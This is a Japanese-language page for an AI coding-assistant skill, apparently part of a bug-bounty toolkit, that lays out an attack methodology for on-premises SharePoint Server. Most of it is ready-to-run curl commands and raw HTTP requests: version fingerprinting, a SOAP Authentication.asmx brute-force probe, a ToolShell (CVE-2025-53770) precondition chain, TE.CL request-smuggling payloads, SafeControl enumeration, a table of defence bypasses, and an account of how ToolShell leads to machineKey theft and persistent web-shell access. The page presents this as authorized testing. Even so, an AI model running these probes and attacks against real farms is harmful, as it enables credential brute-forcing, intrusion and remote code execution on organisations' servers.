hunt-sharepoint について
hunt-sharepointは、オンプレミスのSharePoint Serverを調査するセキュリティテスト用スキルです。バージョンの特定、匿名エンドポイントや旧式認証経路の確認、エラーを脆弱性と誤認しないための指針を提供します。
主な機能
- 01SharePointバージョンの特定
- 02匿名エンドポイントの確認
- 03旧式SOAPログインのテスト
- 04ToolShellの前提条件確認
- 05SSRF誤検知への指針
活用シーン
- 01インターネット公開SharePointファームの評価
- 02匿名アクセスとログイン経路の確認
- 03バージョン別の露出状況の確認
- 04SSRF疑いの検証
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ elementalsouls/ claude-bughunter --skill hunt-sharepointインストール後、Claude Code で/hunt-sharepointを入力して読み込まれたか確認します。
詳細
最重要ターゲット
SharePoint Server(オンプレミス)は、2025~2026年のバグバウンティ/レッドチーム活動において、最も価値の高いエンタープライズ攻撃対象領域の一つです。次の3つの要因が重なっています。
- サポート終了後も未修正のコードパス。 SharePoint Server 2013 は、2023-04-11 に延長サポートが終了しました(最終ビルド
15.0.5545.1000/KB5002381)。この日付以降に公開されたすべての SharePoint CVE は、SP2013 ファームでは永久に修正されません。SP2016 は 2026-07-14 に、SP2019 も 2026-07-14 にサポートが終了します(2026年5月時点で、残り2か月)。現在、アクティブサポートの対象となっているのは SP Subscription Edition のみです。 - CVE-2025-53770 / 53771「ToolShell」 — SPE/SP2019/SP2016 向けに、2025年7月に緊急の帯域外パッチチェーンが提供されました。脆弱なコードパス(匿名の
/_layouts/15/ToolPane.aspx?DisplayMode=Edit+匿名の__REQUESTDIGEST+暗号化されていない ViewState)はSP2013 にも存在し、修正が提供されることはありません。 - カスタムブランドのログインページでは、旧式の SOAP ログインが忘れられがちです。
/_vti_bin/Authentication.asmxのLoginSOAP 操作は、SharePoint における WordPress XMLRPC バイパスに相当します。多くのファームでは、ブランド化された UI にアカウントロックアウトがあっても、ネイティブの Forms 認証情報をレート制限なしで匿名のまま受け付けます。
最も価値の高い SharePoint ターゲット:
- 現在もパブリックインターネットに公開されている SP2013 ファーム — 2023年4月以降のすべての CVE が未修正です。重大度の高い調査結果になります。
- エンタープライズインテグレーターが SharePoint 上に構築したディーラー/パートナー/サプライヤーポータル(ドイツの VW グループ、あるエンタープライズシステムインテグレーターなど)— 影響の大きい業務データがあり、多くの場合、企業の AD ツリー内にネストされています。
- 匿名の Forms 認証ゾーンを持つ SharePoint ファーム — Authentication.asmx への匿名ブルートフォース攻撃が可能になります。
- 企業の AD 親フォレスト内にある SharePoint — NTLM Type-2 リーク(
hunt-ntlm-infoを参照)によって、親フォレストのメンバーシップが漏えいします。 - Telerik 統合 SharePoint インストール — SharePoint 自体のものに加えて、デシリアライズのシンクが存在します。
最も報奨金につながるアセットの種類: インターネットから到達可能な SP Server(バージョンを問わない)>カスタムソリューションのフックがある SP Online >VPN 侵害後のイントラネット専用 SharePoint
攻撃対象領域のシグナル
レスポンスヘッダーのフィンガープリント(いずれか1つで十分です。通常は複数が同時に見つかります):
SPRequestGuid: <GUID> (always — anonymous and authenticated)
X-MS-InvokeApp: 1; RequireReadOnly (SharePoint web request)
X-SharePointHealthScore: 0 (SharePoint specific)
SPIisLatency: <ms> (SharePoint internal timing)
SPRequestDuration: <ms> (SharePoint request duration)
MicrosoftSharePointTeamServices: 15.0.0.0 (often stripped by ELB — but if present, exact version)
X-Forms_Based_Auth_Required: <login URL> (Forms-auth zone indicator)
X-Forms_Based_Auth_Return_Url: <return URL> (Forms-auth zone indicator)
X-MSDAVEXT_Error: 917656; Access denied... (WebDAV extension active)
DAV: 1, 2 (WebDAV verbs supported)
Set-Cookie: ASP.NET_SessionId=... (always — IIS session)
Set-Cookie: FedAuth=...; rtFa=... (claims-mode auth)
Set-Cookie: WSS_FullScreenMode=... (SharePoint UI mode)
URL/パスのフィンガープリント:
/_layouts/15/ (SP2013+ layouts root — SP2010 used /_layouts/ without the 15)
/_layouts/14/ (legacy SP2010 — almost EoL since 2020-10-13)
/_layouts/16/ (some SP2019 / SPE)
/_vti_bin/ (FrontPage-RPC + SOAP services)
/_vti_pvt/ (FrontPage-RPC config — usually 403)
/_vti_inf.html (almost always anonymous; contains FPVersion banner)
/_api/ (modern REST API)
/_api/$metadata (OData metadata — often anonymous + large)
/_api/contextinfo (FormDigest issuer — POST only)
/_catalogs/ (site catalogs: masterpage, wp, lt, theme, solutions)
/_catalogs/users/simple.aspx (user list — usually 403)
/_layouts/15/start.aspx (anonymous landing — leaks version)
/_layouts/15/ToolPane.aspx (web part editor — ToolShell sink)
/_layouts/15/Picker.aspx (people/list picker — SafeControl recon)
/_layouts/15/download.aspx (SP-internal file resolver — NOT outbound SSRF)
/_layouts/15/Authenticate.aspx (forms-auth redirector)
/_layouts/15/SignOut.aspx (logout)
/_layouts/15/error.aspx (error page — anonymous)
/_layouts/15/AccessDenied.aspx (denied page — anonymous)
/_layouts/15/scriptresx.ashx?culture=en-us&name=core (resource bundle leak)
/_layouts/15/<Customer>/ (custom-branding modules — see Methodology step 8)
/_vti_bin/Authentication.asmx (THE legacy login bypass — see hunt-auth-bypass Legacy-Protocol Matrix)
/_vti_bin/SharedAccess.asmx (often anon-readable)
/_vti_bin/lists.asmx (auth-required on hardened farms)
/_vti_bin/sites.asmx (auth-required on hardened farms)
/_vti_bin/sts/ (Security Token Service — usually 302 to error)
/sites/<name>/ (site collections)
/personal/<user>/ (MySite / OneDrive-for-Business)
本文のシグナル(HTML レスポンス内):
<meta name="GENERATOR" content="Microsoft SharePoint" />
RegisterSod("...","/_layouts/15/..."); (Script-on-demand registration)
var g_initUrl=''; (start.aspx MDS state)
__REQUESTDIGEST (CSRF token — leaks even to anon if endpoint mis-configured)
__VIEWSTATEENCRYPTED="" (Sign-only ViewState — see hunt-aspnet)
"LibraryVersion":"15.0.X.XXXX" (in _api/contextinfo response)
Version:15, webPermMasks:{High:0,Low: (in start.aspx body)
HelpWindowKey('WSSEndUser_troubleshooting (anonymous error.aspx body)
技術スタックのシグナル:
Server: Microsoft-IIS/10.0+/_layouts/15/で始まるパス → SharePoint 2013/2016/2019/SE- SharePoint の前段にある AWS ELB/ALB → ノード間の ViewState MAC の問題が起こる可能性があります(hunt-aspnet を参照)
/_api/web/CurrentUserに対するWWW-Authenticate: NTLM→ デュアル認証(Forms + NTLM)。AD トポロジーの情報漏えいにはhunt-ntlm-infoを使用します。*.test.<customer>.tld→ 本番 SharePoint のテスト/ステージング用ミラー。本番データが複製されていることがよくあります。
段階的なハンティング手法
-
SharePoint のバージョンをフィンガープリントします。 複数のパスから、ビルド番号が匿名で漏えいします。結果を直ちに CVE マトリックスに照合します。
# Method 1: _vti_inf.html (always anonymous, always present) curl -sk "https://target.example/_vti_inf.html" # → FPVersion="15.00.0.000" (15.x = SP2013, 16.x = SP2016/2019/SE) # Method 2: _api/contextinfo POST (anonymous on most farms) curl -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.LibraryVersion' # → "15.0.5545.1000" (full build number) # Method 3: /_layouts/15/start.aspx body curl -sk "https://target.example/_layouts/15/start.aspx" \ | grep -oE "15\.[0-9]+\.[0-9]+\.[0-9]+|16\.[0-9]+\.[0-9]+\.[0-9]+"CVE マトリックスとの照合:
ビルド エディション ステータス サポート終了後に未修正の注目 CVE 15.0.5545.1000SP2013 最終 CU EoL 2023-04-11 CVE-2023-29357、CVE-2023-33160/33157/36941、CVE-2024-21318/30043/38023/38024/38094、CVE-2025-53770/53771、CVE-2025-29794 16.0.10416.xSP2016 EoL 2026-07-14 パッチレベルによって異なります 16.0.10417.x+SP2019 / SE アクティブ Microsoft の毎月の Patch Tuesday を確認してください -
匿名エンドポイントのマトリックスを調査します。 以下の表にあるすべてのエンドポイントを一度に確認します。匿名でアクセスできるものはすべて、攻撃チェーンの一部になります。
/_vti_inf.html → version disclosure /_layouts/15/start.aspx → version disclosure + session minting /_layouts/15/blank.htm → benign anchor for smuggling probes /_layouts/15/error.aspx → request-validator behaviour probe /_layouts/15/Authenticate.aspx?Source= → redirect-chain behaviour /_layouts/15/AccessDenied.aspx?Source= → redirect-chain behaviour /_layouts/15/SignOut.aspx → logout — anonymous OK /_layouts/15/closeConnection.aspx → anonymous OK /_layouts/15/scriptresx.ashx?culture=en-us&name=SP.Res → 35KB localised strings /_layouts/15/scriptresx.ashx?culture=en-us&name=core → 277KB localised strings /_layouts/15/ToolPane.aspx?DisplayMode=Edit → ToolShell precondition (THIS IS THE BIG ONE) /_layouts/15/Picker.aspx → SafeControl recon (see step 6) /_layouts/15/<CustomerName>/pages/login/customlogin.aspx → custom Forms login (replace `<CustomerName>` with target's customer name) /_vti_bin/Authentication.asmx → legacy SOAP login — anonymous brute-force (CRITICAL) /_vti_bin/Authentication.asmx?WSDL → WSDL — confirms Login + Mode ops /_vti_bin/SharedAccess.asmx → often anonymous /_vti_bin/spsdisco.aspx → SP service discovery /_api/contextinfo (POST) → anonymous FormDigest mint (HIGH) /_api/$metadata → 381KB API surface enumeration /_api/Search → search service descriptor /_api/web/CurrentUser → 401 anon BUT WWW-Authenticate: NTLM leaks AD info (see hunt-ntlm-info) -
Authentication.asmx 経由の旧式 SOAP ログインバイパス。
hunt-auth-bypassの Legacy-Protocol Matrix と照合します。標準的なプローブは次のとおりです。# First: confirm Mode = Forms (else this attack vector is N/A) curl -sk -X POST "https://target.example/_vti_bin/Authentication.asmx" \ -H "Content-Type: text/xml; charset=utf-8" \ -H "SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Mode" \ -d '<?xml version="1.0"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Mode xmlns="http://schemas.microsoft.com/sharepoint/soap/" /></soap:Body></soap:Envelope>' # → <ModeResult>Forms</ModeResult> ← target is exploitable # → <ModeResult>Windows</ModeResult> ← target uses Windows auth only; this vector N/A # Then: confirm no rate limit / no lockout (synthetic non-existent users ONLY) # Send 10 bursts at "burst-test-synthetic-zzz" with distinct wrong passwords # If all 10 return 200 / 431 bytes / uniform timing → confirmed unlimited brute-force surface重大度: 匿名アクセスが可能で、レート制限もアカウントロックアウトもない場合は Critical です。認証の成功を実証する前でも、バグバウンティに報告してください。問題は「X の認証情報をクラックした」ことではなく、無制限に認証情報を検証できることです。
-
ToolShell の前提条件チェーンを調査します(CVE-2025-53770 クラス)。3つのサブリクエストを実行します。
# Sub-step a: anonymous GET on ToolPane.aspx curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" # Body should contain: __REQUESTDIGEST="0x...,..." AND __VIEWSTATEENCRYPTED="" # If both: precondition stack is anonymous-reachable. # Sub-step b: anonymous POST to /_api/contextinfo curl -sk -X POST "https://target.example/_api/contextinfo" \ -H "Accept: application/json;odata=verbose" \ | jq -r '.d.GetContextWebInformation.FormDigestValue' # Should return a valid digest with 1800s validity. # Sub-step c: anonymous POST to ToolPane.aspx with that digest as X-RequestDigest curl -sk -X POST "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \ -H "X-RequestDigest: <digest from step b>" \ --data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" # Should return 200 OK — server treats anonymous-with-digest as authorised state-changing POST.重大度: EoL の SP2013 では重大です(パッチが提供されることはありません)。SP2016/2019/SE では、
__VIEWSTATEENCRYPTEDが空でない場合は高です(暗号化された ViewState によりデシリアライゼーション経路は緩和されますが、前提条件は設定ミスの可能性を依然として示しています)。重要: 悪意のある ViewState ペイロードを実際に送信しないでください。前提条件の連鎖だけで報告の証拠として十分です。実際の CVE-2025-53770 の連鎖では、RCE の前提条件に machineKey の復元は含まれません。認証バイパス(CVE-2025-49706、ToolPane.aspx への細工した Referer)と安全でないデシリアライゼーション(CVE-2025-49704)により、machineKey の知識がなくても最初の Web シェルが得られます。その後、Web シェルによって
<machineKey>(ValidationKey/DecryptionKey)がダンプされ、署名済みの__VIEWSTATEを偽造して、永続的な/未認証の再侵入に使用されます。つまり machineKey は最初の RCE と永続化経路で得られる情報であり、その前に通過すべき関門ではありません。machineKey が不明だからといって、悪用可能なファームを過小評価しないでください。 -
NTLM Type-2 による AD トポロジーの情報開示。 完全な手法については
hunt-ntlm-infoを参照してください。簡易チェック:# Use Burp send_http1_request with keep-alive, or Python raw socket # Anonymous Type-1 with NetBIOS-info request flag: # Authorization: NTLM TlRMTVNTUAABAAAAB4IIogAAAAAAAAAAAAAAAAAAAAAGAbEdAAAADw== # Decode the Type-2 challenge → leaks NetBIOS domain, DNS forest, computer name重大度: インターネットへの公開とデフォルトの
WIN-XXXXXXXXXXXホスト名が組み合わさる場合は中、それ以外は情報提供レベルです。 -
Picker.aspx による SafeControl の列挙。 Picker.aspx は、クラスの存在によって 2 種類のエラー状態を区別します。
- 型が存在するが、ホワイトリストに登録されていない場合:
"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." - 型が存在しない場合:
"Could not load type '<Class>' from assembly 'Microsoft.SharePoint, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'."
Microsoft.SharePoint.*.WebControls.*およびMicrosoft.SharePoint.WebPartPages.*の型のワードリストを渡して、到達可能なクラスを列挙します。このリスト自体が、CVE-2019-0604 ファミリーの攻撃連鎖に向けた偵察情報になります。for cls in \ "Microsoft.SharePoint.WebControls.PeopleEditor" \ "Microsoft.SharePoint.WebControls.ItemPicker" \ "Microsoft.SharePoint.WebPartPages.DataFormWebPart" \ ; do curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=$(python3 -c 'import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))' "$cls")&typeName=System.String" \ | grep -oE "<title>[^<]+</title>" done - 型が存在するが、ホワイトリストに登録されていない場合:
-
download.aspxはアウトバウンド SSRF ではありません。見極めて、時間を浪費しないでください。 SP の/_layouts/15/download.aspx?SourceUrl=は汎用 URL フェッチャーではなく、SP 内部のパスリゾルバーです。挙動は次のとおりです。- 外部 URL(
http://evil.example.com/x)→"The Web application at <URL> could not be found"を含む 500。サーバーは SP Web アプリとして解決しようとしましたが、取得は行っていません。 - 同一オリジンのファイル URL →
"<nativehr>0x81070211</nativehr>...Cannot open file '<path>'"を含む 500。サーバーは SPFile.OpenBinary を試みましたが、ファイルが見つかりませんでした。 - 拡張子ブロックリストに該当するファイル(
.ashx、.asmx、.svc、.config)→ ファイルの有無にかかわらず"file blocked from this Web site by the server administrators"を含む 500。 file://、UNC パス、gopher://など →"Value does not fall within the expected range"を含む 500。URL スキームのバリデーターによって拒否されます。
エラーメッセージ内で URL がエコーされても、SSRF の確認にはなりません。 主張する前に Burp Collaborator OOB で確認してください。(
hunt-ssrfの OOB-Or-It-Didn't-Happen Gate を参照。)許可を得たエンゲージメントで陰性を確認済みです。URL を受け付ける 12 以上の SP パラメーターに対し、Collaborator タグ付きペイロードを 38 個使用しましたが、コールバックは 0 件でした。拡張子ブロックリストは「ファイル存在確認オラクル」のようにも見えます(ファイルが存在する場合と見つからない場合で異なる応答が返ります)が、実際には SP のファイル拡張子ポリシーにすぎません。ブロックリストの応答からファイルの存在を推測しないでください。
- 外部 URL(
-
カスタムブランディングモジュールの列挙。 顧客がカスタマイズした SP インストールには、ほぼ必ず
/_layouts/15/<CustomerName>/ディレクトリツリーがあります。ログイン URL から名前を特定します(例:/_layouts/15/<CustomerName>/pages/login/customlogin.aspx→ 顧客名は<CustomerName>)。その後、次を調査します。for sub in pages Pages js Js JS css scripts handlers controls images config data services api; do curl -sk -o /dev/null -w "%{http_code} %{size_download}\n" \ "https://target.example/_layouts/15/CustomerName/$sub/" # 301/302 with auth-redirect = directory exists; 404 = missing; 403 = directory listing blocked but path valid doneJS バンドルには、ハードコードされたエンドポイント URL、非表示のルート、内部 API パスが含まれていることがよくあります。各バンドルを適切な
Refererヘッダーとともに取得してください(Referer による制限があるものもあります)。 -
検索サービスのプローブ。
/_api/Searchは、匿名で小さな JSON ディスクリプターを返します。Search Service Application が実行されていない場合、/_api/search/query?querytext='X'はスタックトレースを含む 500 を返します。インフラ情報の開示には役立ちますが、直接悪用できるものではありません。 -
ログイン後の認証済みサーフェス(有効な認証情報がある場合):
/_api/web/Lists— リストを列挙/_api/web/SiteUsers— ユーザーを列挙/_api/web/getfolderbyserverrelativeurl('/Shared Documents')/Files— ファイルを列挙/_layouts/15/people.aspx— ユーザー一覧- 顧客ブランド独自のモジュール — IDOR、ビジネスロジックを確認
- ワークフローサービス(
/_api/SP.WorkflowServices.*)
ペイロードと検出パターン
Authentication.asmx Login(ブルートフォース攻撃の標準的なエンドポイント):
POST /_vti_bin/Authentication.asmx HTTP/1.1
Host: target.example
Content-Type: text/xml; charset=utf-8
SOAPAction: http://schemas.microsoft.com/sharepoint/soap/Login
Content-Length: 376
<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<Login xmlns="http://schemas.microsoft.com/sharepoint/soap/">
<username>USERNAME</username>
<password>PASSWORD</password>
</Login>
</soap:Body>
</soap:Envelope>
応答コード:
<ErrorCode>NoError</ErrorCode>→ 認証成功。続けて<CookieName>FedAuth</CookieName>と<TimeoutSeconds>...</TimeoutSeconds>が返されます<ErrorCode>PasswordNotMatch</ErrorCode>→ 認証失敗(存在しないユーザーにも同じ応答が返されるため、エラー文字列からユーザーを列挙できません)- 500 +
<faultstring>Value cannot be null. Parameter name: userName</faultstring>→ ユーザー名が空です
ToolShell の前提条件を再現:
# Step 1: anon GET ToolPane.aspx
TP=$(curl -sk "https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit")
echo "$TP" | grep -oE '__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="[^"]*"'
# If value="" → precondition
# Step 2: anon FormDigest
DIGEST=$(curl -sk -X POST "https://target.example/_api/contextinfo" \
-H "Accept: application/json;odata=verbose" \
| jq -r '.d.GetContextWebInformation.FormDigestValue')
echo "Digest: ${DIGEST:0:40}..."
# Step 3: anon POST ToolPane with digest
curl -sk -X POST -H "X-RequestDigest: $DIGEST" \
--data "MSOSPWebPartManager_DisplayModeName=Browse&MSOTlPn_Button=none" \
"https://target.example/_layouts/15/ToolPane.aspx?DisplayMode=Edit" \
-w "\ncode=%{http_code} size=%{size_download}\n"
AWS ELB + SP IIS バックエンドでの HTTP TE.CL スマグリング(AWS ELB の背後にある SP ファームで一貫して発生):
POST /_layouts/15/blank.htm HTTP/1.1
Host: target.example
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST /404 HTTP/1.1
Host: x
Content-Length: 15
x=1
0
予想されるバックエンドのハング時間:約 12 秒(ベースラインは約 0.16 秒)。難読化のバリエーション(Transfer-Encoding : chunked、transfer-encoding: chunked、末尾の空白、大文字・小文字の混在)でも、同様に約 6 秒のハングが発生します。
Picker.aspx の SafeControl 偵察:
curl -sk "https://target.example/_layouts/15/Picker.aspx?PickerDialogType=Microsoft.SharePoint.WebPartPages.DataFormWebPart&typeName=System.String" \
| grep -oE "<title>[^<]+</title>"
# "Only PickerDialog types..." = exists, not whitelisted
# "Could not load type..." = does not exist
一般的な根本原因
-
/_vti_bin/Authentication.asmxがパブリックゾーンの IIS バインドで有効なままになっています。 SharePoint 管理者がカスタムログイン UI でフォーム認証を有効にしても、従来の SOAP Login エンドポイントに個別にアクセスできることに気づいていません。 -
レイアウトページで
viewStateEncryption="Auto"が設定されています。 SharePoint の既定の ViewState モードでは、機密性の高いフォームフィールドを持たないページについては署名のみが行われます。ToolPane.aspx のようなページには__VIEWSTATEENCRYPTED=""があり、machineKey が漏えいした場合に悪用される可能性があります。 -
/_api/contextinfoへの POST が匿名でアクセス可能です。 SharePoint Online と SPE 2024-07 以降では、contextinfo に認証が必要です。それ以前のバージョンや多くの SP2013 ファームでは匿名 POST が許可され、1800 秒間有効な FormDigest トークンが返されます。これは ToolShell の 2 つ目の前提条件です。 -
パブリックゾーンの IIS バインドで NTLM が有効になっています。 フォーム認証と NTLM を併用する既定の二重認証では、匿名のインターネットユーザーも NTLM Negotiate を利用できます。Type-2 チャレンジから AD トポロジーが漏えいします。
-
EoL を過ぎた SP2013 ファームが、引き続きインターネットに公開されています。 Microsoft の延長サポートは 2023-04-11 に終了しました。2023 年 4 月以降の SharePoint CVE はすべて未パッチです。エンタープライズインテグレーターの構成(企業親 AD 内のシステムインテグレーター、SI 管理のディーラーポータルなど)でよく見られます。
-
web.config の
<SafeControl>ホワイトリストが唯一の防御として信頼されています。 Picker.aspx ではinstanceof PickerDialogチェックが行われ、元の CVE-2019-0604 の攻撃ベクトルに対してはパッチが適用されています。しかし、SafeControl の基盤モデル自体は Picker.aspx のエラー差分を通じて匿名で列挙できます。 -
AWS ELB + SP IIS の構成で、Transfer-Encoding が明示的に正規化されていません。 ELB の既定の動作では
Transfer-Encodingがバックエンドの IIS に転送されます。両方のヘッダーがある場合、IIS は ELB とデシンクする形でContent-Lengthを解釈します。複数の TE 難読化バリエーションにより、単純な WAF ルールを回避できます。 -
既定の Windows インストーラーのホスト名(
WIN-XXXXXXXXXXX)が変更されていません。 急いでプロビジョニングされた兆候であり、SQL バックエンドの既定のサービスアカウントパスワードや、Central Admin の既定のファームアカウントパスワードなどと相関します。 -
カスタムブランドのモジュール(
/_layouts/15/<Customer>/)の JS バンドルが?v=YYYYMMDDクエリ文字列付きで読み込まれています。 クエリ文字列から最終更新日がわかるため、「アプリが積極的に保守されている」か「放置されている」かを判断する際に役立ちます。 -
AWS ELB がセッションアフィニティを 1 台の WFE に固定しない場合、ノード間で ViewState MAC エラーが発生します。 運用上は動作不良(POST のたびにユーザーが 500 エラーに遭遇する)を引き起こします。セキュリティ上は、エラーメッセージからファームのトポロジーが漏えいします。
バイパス手法
| 防御 | バイパス/偵察戦略 |
|---|---|
ロックアウト/CAPTCHA/MFA を備えたブランド仕様の customlogin.aspx | レガシー SOAP の /_vti_bin/Authentication.asmx — これらの保護は一切適用されません |
WWW-Authenticate: NTLM は認証済みの呼び出し元を要求する | IIS の既定値 extendedProtection=None では、匿名で Type-2 チャレンジを引き出せます — hunt-ntlm-info を参照してください |
ELB で MicrosoftSharePointTeamServices ヘッダーが削除される | /_layouts/15/start.aspx の本文からバージョンが漏えいします。また、/_api/contextinfo の LibraryVersion からも確認できます |
/_vti_bin/lists.asmx が 403(SharedAccess.asmx/Authentication.asmx は引き続き開いている) | サービスごとに ACL が異なります。すべての asmx を個別に列挙してください |
/_api/web/CurrentUser がスタックトレースを含む JSON とともに 401 を返す | 認証拒否の応答でもスタックトレースが漏えいします。バージョン情報の開示と組み合わせてください |
匿名の __REQUESTDIGEST が発行される(ToolShell の前提条件) | 匿名の ToolPane POST と暗号化されていない ViewState を組み合わせます。逆シリアル化シンクにより、machineKey なしで RCE が可能です — その後、シェルが machineKey をダンプするため、継続的な再悪用が可能になります |
| カスタムエラーページが設定されている | 異なるコードパスを発生させます(XML 形式の ViewState によるデュアルパーサーのエラー差分 — hunt-aspnet を参照してください) |
WAF がクエリ内の < をブロックする | ペイロードを Cookie/Referer/SOAP 本文に移します — リクエストバリデーターはこれらのコンテキストに適用されません |
SafeControl パッチによって Microsoft.SharePoint.WebPartPages.DataFormWebPart がブロックされる | SafeControl リストを列挙し、継承ゲートを回避するサブクラスを見つけます |
| HTTP/2 H2.CL スマグリング | AWS ALB は h2 ALPN を提示しないことがよくあります — openssl s_client -alpn h2,http/1.1 で早期にこの系統を除外してください |
Authenticate.aspx が Source= を ReturnUrl でラップする | 有効な認証情報で認証後の動作をテストしてください。認証前のチェーンではすべて安全にラップされます |
ゲート 0 の検証
レポートを作成する前に、次の点を確認してください。
-
攻撃者は現時点で何ができますか?
- Authentication.asmx が匿名で利用でき、レート制限がない → Critical(無制限の認証情報検証が可能。NTLM から得た UPN 形式を使ったパスワードスプレーにより、ATO までの一連の攻撃経路が成立します)
- ToolShell の前提条件チェーンがすべて成立(匿名 GET + 匿名 FormDigest + 匿名 POST + 暗号化されていない VS)し、SP2013 が EoL → Critical(十分に文書化された公開エクスプロイトチェーンによる RCE。パッチは提供されません)
- NTLM Type-2 による AD トポロジーの開示 + 既定の Windows ホスト名 → Medium
- SP2013 の EoL のみ → Medium-Low(コンプライアンス/衛生上の問題。バグバウンティプログラムの対応はさまざまで、受け入れるところもあれば、拒否するところも多くあります)
- Collaborator コールバックが確認されていない
download.aspxの URL エコー → NOT SSRF — 撤回してください
-
攻撃者が到達可能な影響まで、チェーン全体を再現しましたか?
- Authentication.asmx の場合:均一なタイミングで 10 回連続のテストを行えば、レート制限がないことを証明できます。実際に認証情報をクラックしないでください。
- ToolShell の場合:前提条件チェーン(手順 a+b+c)を確認すれば十分です。悪意のあるペイロードを送信しないでください。
- NTLM の場合:AD トポロジーのフィールドが確認できる AV ペアのデコードで十分です。
-
クリーンなシェルから 10 分未満で再現できますか?
- Authentication.asmx:curl コマンド 2 つ。
- ToolShell の前提条件:curl コマンド 3 つ。
- NTLM Type-2:Python スニペット 1 つ(AV ペアデコーダー)。
実際の影響例
シナリオ A — EoL のオンプレミスファームに対する、許可を得た SharePoint エンゲージメント
対象:https://target-portal.example/ — SharePoint Server 2013 ビルド 15.0.5545.1000(KB5002381/最後の EoL 版である 2023 年 4 月 CU)。テナントは、企業のグローバル AD(customer.parent-corp.example)内のシステムインテグレーターのテナント(スイスの 輸入業者)です。サーバーのホスト名は WIN-XXXXXXXXXXX(Windows インストーラーのデフォルトのパターン)です。
検出事項は 11 件:Critical 3 件、Medium 2 件、Low/Info 6 件です。3 件の Critical は以下のとおりです。
- Authentication.asmx の匿名認証情報総当たり — 10 回の連続テストでは、0.6~0.9 秒の均一な応答時間が確認され、レート制限、アカウントロック、CAPTCHA、MFA チャレンジはいずれもありませんでした。応答はすべて同一の 431 バイトでした。
- HTTP リクエストスマグリング TE.CL — 5 回中 5 回の試行で、ベースラインの 0.16 秒に対し、バックエンドが 12.18 秒間ハングすることを確認しました。追加の難読化パターン 4 種(コロンの前のスペース、末尾のスペース、小文字、大小文字混在)では 6.16 秒のハングが確認され、それぞれ単純な WAF ルールを回避しました。
- ToolShell の前提条件チェーン — 匿名 GET ToolPane.aspx(200)+匿名 POST
/_api/contextinfo(200、有効な FormDigest)+ダイジェスト付きの匿名 POST ToolPane.aspx(200、認証チャレンジなし)+__VIEWSTATEENCRYPTED=""。EoL の SP2013 に残る永続的なゼロデイです。
Medium の検出事項には、AD トポロジー全体(customer.parent-corp.example、WIN-XXXXXXXXXXX)を開示する NTLM Type-2 と、SP2013 の EoL によるリスクが含まれます。
シナリオ B — /_layouts/15/download.aspx?SourceUrl= を正しく SSRF ではないと判定(時間短縮の例)
同じ対象です。初回のスキャンでは、サーバーが 500 エラーのタイトルに URL をそのまま含めていた("The Web application at http://oob.example.com/ could not be found")ため、download.aspx?SourceUrl=http://oob.example.com/ を SSRF として検出しました。URL を受け付ける 12 個以上の SP パラメーターに対して、Collaborator タグ付きペイロードを 38 件送信しましたが、DNS/HTTP コールバックは 0 件でした。結論:download.aspx は SP 内部の SPWebApplication/SPFile リゾルバーであり、汎用 URL フェッチャーではありません。この「エコー」は、サーバー側でエラー文字列をフォーマットした結果です。hunt-ssrf の OOB-Or-It-Didn't-Happen Gate に従ったことで、該当なしの検出事項を報告せずに済みました。
シナリオ C — Picker.aspx による CVE-2019-0604 のパッチ検証
同じ対象です。Picker.aspx に Microsoft.SharePoint.WebPartPages.DataFormWebPart(CVE-2019-0604 の標準的なデシリアライズガジェット)を与えると、"Only PickerDialog types can be used with the dialog. The type should be configured as a safecontrol in this site." が返されました。これは、その型が存在し、リフレクション経由でアクセスできる一方、ダイアログフレームワークの instanceof PickerDialog パッチによって正しく拒否されたことを意味します。元の CVE-2019-0604 の攻撃ベクトルに対するパッチは適用済みです。クラスの存在確認自体は、継承チェックを経由しない、将来の CVE-2019-0604 系チェーンに向けた偵察情報になります。
相互参照
- Authentication.asmx のレガシー SOAP ログイン → WordPress-XMLRPC に相当するパターンについては、
hunt-auth-bypassの Legacy-Protocol Matrix を参照してください。 - NTLM Type-2 による AD トポロジーの開示 → AV ペアのデコーダーと深刻度の基準については、
hunt-ntlm-infoを参照してください。 - ViewState の二重パーサーのアンチパターン、machineKey の復元、リクエストバリデーターのバイパス →
hunt-aspnetを参照してください。 - AWS ELB + IIS での HTTP リクエストスマグリング →
hunt-http-smugglingを参照してください。 - SP における SSRF の主張の OOB 確認 →
hunt-ssrfの OOB-Or-It-Didn't-Happen Gate を参照してください。 - 衛生面の検出事項をバグバウンティへの報告として扱う前のエンゲージメント種別の確認 →
bb-methodologyの PART 0 Mode-Confirmation Gate を参照してください。
関連するスキルとチェーン
